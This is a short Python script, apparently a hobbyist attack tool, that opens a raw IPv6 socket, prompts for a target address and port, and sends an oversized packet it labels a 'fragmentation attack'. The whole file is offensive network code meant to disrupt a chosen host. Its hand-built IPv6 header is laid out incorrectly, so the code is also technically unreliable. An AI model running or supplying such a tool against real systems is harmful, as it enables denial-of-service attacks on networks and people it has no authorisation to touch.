import socket

try:
    # Try to create a raw socket
    sock = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW)
except PermissionError:
    # If permission is denied, inform the user
    print("\033[1;31;40m[*]Insufficient permissions to create a raw socket. Please ensure you have sufficient privileges to run this program.")
    print("\033[1;37;40m")
    # Exit the program or take appropriate action
    exit(1)

# Get the target IPv6 address and port from the user
target_ipv6 = input("Enter the target IPv6 address: ")
target_port = int(input("Enter the target port number: "))

# Construct the IPv6 header
ipv6_header = b'\x60\x00\x00\x00'  # Version, Traffic Class, Flow Label
ipv6_header += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'  # Source IPv6 address, can be left blank for now
ipv6_header += socket.inet_pton(socket.AF_INET6, target_ipv6)  # Destination IPv6 address
ipv6_header += b'\x00\x00\x00\x00\x00\x14\x00\x50'  # Payload Length, Next Header
ipv6_header += b'\x00\x00\x00\x00\x00\x00\x00\x00'  # Hop Limit

# Construct a oversized packet to cause fragmentation
payload_length = int(input("Enter the payload length: "))
payload = b'\x41' * payload_length  # Large data to fill the payload

# Send the fragmented packet
sock.sendto(ipv6_header + payload, (target_ipv6, target_port))

print("Fragmentation attack has been sent to the target IPv6 address and port.")
